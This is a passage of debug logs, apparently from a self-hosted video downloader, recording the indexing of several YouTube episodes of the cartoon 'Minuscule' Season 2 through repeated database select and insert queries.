batch of media processed. Will check again in 1000ms 22:14:09.497 [debug] Current batch of media processed. Will check again in 1000ms 22:14:10.498 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nFlies in a red toy bus and a spider in a yellow toy car have an exciting race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-01-30 Minuscule - Mad fly ⧸ Mad mouche (Season 2)/Minuscule - Mad fly ⧸ Mad mouche (Season 2) [sK3l9nOuyDs].mp4", "id" => "sK3l9nOuyDs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sK3l9nOuyDs", "playlist_index" => 111, "timestamp" => 1580398204, "title" => "Minuscule - Mad fly / Mad mouche (Season 2)", "upload_date" => "20200130"} 22:14:10.499 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1327.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:10.500 [debug] QUERY OK source="sources" db=0.2ms idle=1328.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:10.501 [debug] QUERY OK source="media_items" db=0.9ms idle=1329.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-30 15:30:04Z], 5] 22:14:10.504 [debug] QUERY OK source="media_items" db=2.0ms idle=1074.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nFlies in a red toy bus and a spider in a yellow toy car have an exciting race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Mad fly / Mad mouche (Season 2)", "2a228c91-e414-4e8d-9e1b-bcb43d029139", "sK3l9nOuyDs", 119, false, 5, "https://www.youtube.com/watch?v=sK3l9nOuyDs", 111, "/downloads/Miniscule Season 2/2020-01-30 Minuscule - Mad fly ⧸ Mad mouche (Season 2)/Minuscule - Mad fly ⧸ Mad mouche (Season 2) [sK3l9nOuyDs].mp4", false, false, false, [], 1, ~U[2020-01-30 15:30:04Z], ~U[2025-12-12 05:14:10Z], ~U[2025-12-12 05:14:10Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nFlies in a red toy bus and a spider in a yellow toy car have an exciting race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Mad fly / Mad mouche (Season 2)", "sK3l9nOuyDs", 119, false, 5, "https://www.youtube.com/watch?v=sK3l9nOuyDs", "/downloads/Miniscule Season 2/2020-01-30 Minuscule - Mad fly ⧸ Mad mouche (Season 2)/Minuscule - Mad fly ⧸ Mad mouche (Season 2) [sK3l9nOuyDs].mp4", false, ~U[2020-01-30 15:30:04Z]] 22:14:10.505 [debug] QUERY OK source="sources" db=0.3ms idle=75.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:10.505 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:10.506 [debug] QUERY OK source="media_items" db=0.5ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89120] 22:14:10.507 [debug] Current batch of media processed. Will check again in 1000ms 22:14:11.508 [debug] Current batch of media processed. Will check again in 1000ms 22:14:12.509 [debug] Current batch of media processed. Will check again in 1000ms 22:14:13.510 [debug] Current batch of media processed. Will check again in 1000ms 22:14:14.511 [debug] Current batch of media processed. Will check again in 1000ms 22:14:15.512 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 299, "filename" => "/downloads/Miniscule Season 2/2020-01-23 Minuscule - Honey fly ⧸ Mouche à miel (Season 2)/Minuscule - Honey fly ⧸ Mouche à miel (Season 2) [AkyZVhpGpvY].mp4", "id" => "AkyZVhpGpvY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AkyZVhpGpvY", "playlist_index" => 112, "timestamp" => 1579793400, "title" => "Minuscule - Honey fly / Mouche à miel (Season 2)", "upload_date" => "20200123"} 22:14:15.513 [debug] QUERY OK source="sources" db=0.5ms idle=1341.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:15.514 [debug] QUERY OK source="sources" db=0.5ms idle=1342.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:15.516 [debug] QUERY OK source="media_items" db=1.0ms idle=1343.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-23 15:30:00Z], 5] 22:14:15.519 [debug] QUERY OK source="media_items" db=2.0ms idle=1079.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Honey fly / Mouche à miel (Season 2)", "100ee4e4-af60-4f68-81db-1398772002c8", "AkyZVhpGpvY", 299, false, 5, "https://www.youtube.com/watch?v=AkyZVhpGpvY", 112, "/downloads/Miniscule Season 2/2020-01-23 Minuscule - Honey fly ⧸ Mouche à miel (Season 2)/Minuscule - Honey fly ⧸ Mouche à miel (Season 2) [AkyZVhpGpvY].mp4", false, false, false, [], 1, ~U[2020-01-23 15:30:00Z], ~U[2025-12-12 05:14:15Z], ~U[2025-12-12 05:14:15Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Honey fly / Mouche à miel (Season 2)", "AkyZVhpGpvY", 299, false, 5, "https://www.youtube.com/watch?v=AkyZVhpGpvY", "/downloads/Miniscule Season 2/2020-01-23 Minuscule - Honey fly ⧸ Mouche à miel (Season 2)/Minuscule - Honey fly ⧸ Mouche à miel (Season 2) [AkyZVhpGpvY].mp4", false, ~U[2020-01-23 15:30:00Z]] 22:14:15.520 [debug] QUERY OK source="sources" db=0.4ms idle=79.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:15.521 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:15.522 [debug] QUERY OK source="media_items" db=0.6ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89122] 22:14:15.522 [debug] Current batch of media processed. Will check again in 1000ms 22:14:16.523 [debug] Current batch of media processed. Will check again in 1000ms 22:14:17.524 [debug] Current batch of media processed. Will check again in 1000ms 22:14:18.525 [debug] Current batch of media processed. Will check again in 1000ms 22:14:18.846 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:19.526 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA frantic pursuit between flies and a ladybug. Same old, same old. Except that today, the ladybug is as big as a football, and a gang of huge ladybugs is flying along as back-ups. The flies had better behave.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 282, "filename" => "/downloads/Miniscule Season 2/2020-01-16 Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2)/Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2) [T3IcOeZuKHo].mp4", "id" => "T3IcOeZuKHo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=T3IcOeZuKHo", "playlist_index" => 113, "timestamp" => 1579188601, "title" => "Minuscule - Fly hunting / Chasse à mouche (Season 2)", "upload_date" => "20200116"} 22:14:19.527 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=680.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:19.527 [debug] QUERY OK source="sources" db=0.2ms idle=356.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:19.528 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=356.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-16 15:30:01Z], 5] 22:14:19.531 [debug] QUERY OK source="media_items" db=2.0ms idle=358.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA frantic pursuit between flies and a ladybug. Same old, same old. Except that today, the ladybug is as big as a football, and a gang of huge ladybugs is flying along as back-ups. The flies had better behave.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Fly hunting / Chasse à mouche (Season 2)", "003ea54f-0eae-4fa1-8f48-67dd133702ca", "T3IcOeZuKHo", 282, false, 5, "https://www.youtube.com/watch?v=T3IcOeZuKHo", 113, "/downloads/Miniscule Season 2/2020-01-16 Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2)/Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2) [T3IcOeZuKHo].mp4", false, false, false, [], 1, ~U[2020-01-16 15:30:01Z], ~U[2025-12-12 05:14:19Z], ~U[2025-12-12 05:14:19Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA frantic pursuit between flies and a ladybug. Same old, same old. Except that today, the ladybug is as big as a football, and a gang of huge ladybugs is flying along as back-ups. The flies had better behave.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Fly hunting / Chasse à mouche (Season 2)", "T3IcOeZuKHo", 282, false, 5, "https://www.youtube.com/watch?v=T3IcOeZuKHo", "/downloads/Miniscule Season 2/2020-01-16 Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2)/Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2) [T3IcOeZuKHo].mp4", false, ~U[2020-01-16 15:30:01Z]] 22:14:19.532 [debug] QUERY OK source="sources" db=0.3ms idle=85.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:19.533 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:19.534 [debug] QUERY OK source="media_items" db=0.4ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89124] 22:14:19.534 [debug] Current batch of media processed. Will check again in 1000ms 22:14:20.535 [debug] Current batch of media processed. Will check again in 1000ms 22:14:21.536 [debug] Current batch of media processed. Will check again in 1000ms 22:14:22.537 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant is carrying a crisp, which wasps soon snatch. After a mad race and a bad fall, our little bug wakes up in a strange universe, where crisps are actually alive.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 295, "filename" => "/downloads/Miniscule Season 2/2020-01-09 Minuscule - Patatas fritas (Season 2)/Minuscule - Patatas fritas (Season 2) [1eojPRKb7bU].mp4", "id" => "1eojPRKb7bU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1eojPRKb7bU", "playlist_index" => 114, "timestamp" => 1578583800, "title" => "Minuscule - Patatas fritas (Season 2)", "upload_date" => "20200109"} 22:14:22.538 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1366.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:22.539 [debug] QUERY OK source="sources" db=0.4ms idle=1367.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 